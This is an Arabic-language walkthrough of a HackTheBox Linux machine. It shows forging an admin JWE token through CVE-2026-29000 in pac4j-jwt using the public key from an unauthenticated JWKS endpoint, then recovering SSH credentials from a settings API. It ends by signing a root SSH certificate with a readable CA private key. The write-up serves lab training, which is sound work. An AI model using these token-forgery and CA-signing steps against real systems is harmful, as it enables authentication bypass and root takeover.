
شرح تفصيلي لاستغلال CVE-2026-29000 في pac4j-jwt لتجاوز المصادقة، واستخراج بيانات الاعتماد من إعدادات API، وتصعيد الامتيازات عبر توقيع SSH CA على جهاز Linux من HackTheBox.
الصعوبة: متوسط نظام التشغيل: Linux المنصة: HackTheBox
تطبيق ويب يعمل بإصدار pac4j-jwt v6.0.3 — وهو عرضة لثغرة CVE-2026-29000. مفتاح RSA العام مكشوف بدون مصادقة عبر نقطة نهاية JWKS ويمكن استخدامه لتزوير رمز JWE إداري صالح، متجاوزًا المصادقة بالكامل. مع الوصول الإداري، يتم استرداد بيانات اعتماد SSH النصية الصريحة من واجهة برمجة تطبيقات الإعدادات. حساب الخدمة عضو في مجموعة deployers مع صلاحية قراءة لمفتاح خاص لمرجع مصدق SSH موثوق به من قبل sshd — توقيع شهادة تمنح وصول الجذر يكمل الجهاز.
تصفحت تطبيق الويب وعاينت شفرة الصفحة المصدرية. وجدت حزمة JavaScript الرئيسية في /static/js/app.js.
نقاط نهاية API الرئيسية المحددة داخل app.js:
/api/auth/login
/api/auth/jwks <- نقطة نهاية المفتاح العام (بدون مصادقة)
/api/dashboard
/api/users
/api/settings
كشف تذييل الصفحة عن: pac4j-jwt v6.0.3 — عرضة لثغرة CVE-2026-29000.
جلبت مفتاح RSA العام من نقطة نهاية JWKS غير المصادق عليها:
curl http://<TARGET_IP>:8080/api/auth/jwks
# يُرجع مفتاح RSA العام (kid: enc-key-1)
تسمح ثغرة CVE-2026-29000 باستخدام المفتاح العام لتزوير رمز JWE صالح — المكتبة تقبل بشكل غير صحيح الرموز المشفرة بالمفتاح العام بدلاً من اشتراط المفتاح الخاص.
استخدمت إثبات المفهوم (PoC) لتوليد رمز إداري مزور:
python3 poc.py \
--jwks http://<TARGET_IP>:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
استخدمت الرمز المزور كرمز Bearer في Burp Repeater:
Authorization: Bearer <forged_token>
GET /api/dashboard ← 200 OK
ROLE_ADMINCERT_ISSUED للمستخدم: svc-deployGET /api/settings ← 200 OK
/opt/principal/ssh/دخلت عبر SSH باستخدام بيانات الاعتماد المستردة من /api/settings:
ssh svc-deploy@<TARGET_IP>
تم استرداد علم المستخدم.
svc-deploy عضو في مجموعة deployers مع صلاحية قراءة لـ /opt/principal/ssh/:
ls -la /opt/principal/ssh/
# ca — مفتاح خاص لمرجع مصادقة RSA 4096-bit (قابل للقراءة من قبل deployers)
# ca.pub — المفتاح العام لمرجع المصادقة
# README.txt — يؤكد أن مرجع المصادقة موثوق به من قبل sshd
المفتاح الخاص لمرجع المصادقة قابل للقراءة. بما أن sshd يثق بهذا المرجع، فإن أي شهادة موقعة منه مقبولة — بما في ذلك شهادة تمنح وصول الجذر.
# توليد زوج مفاتيح جديد
ssh-keygen -t ed25519 -f /tmp/privesc
# التوقيع مع مرجع المصادقة، بمنح principal 'root'
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub
# الدخول عبر SSH كجذر
ssh -i /tmp/privesc root@<TARGET_IP>
تم استرداد علم الجذر.
/home/svc-deploy/user.txt/root/root.txt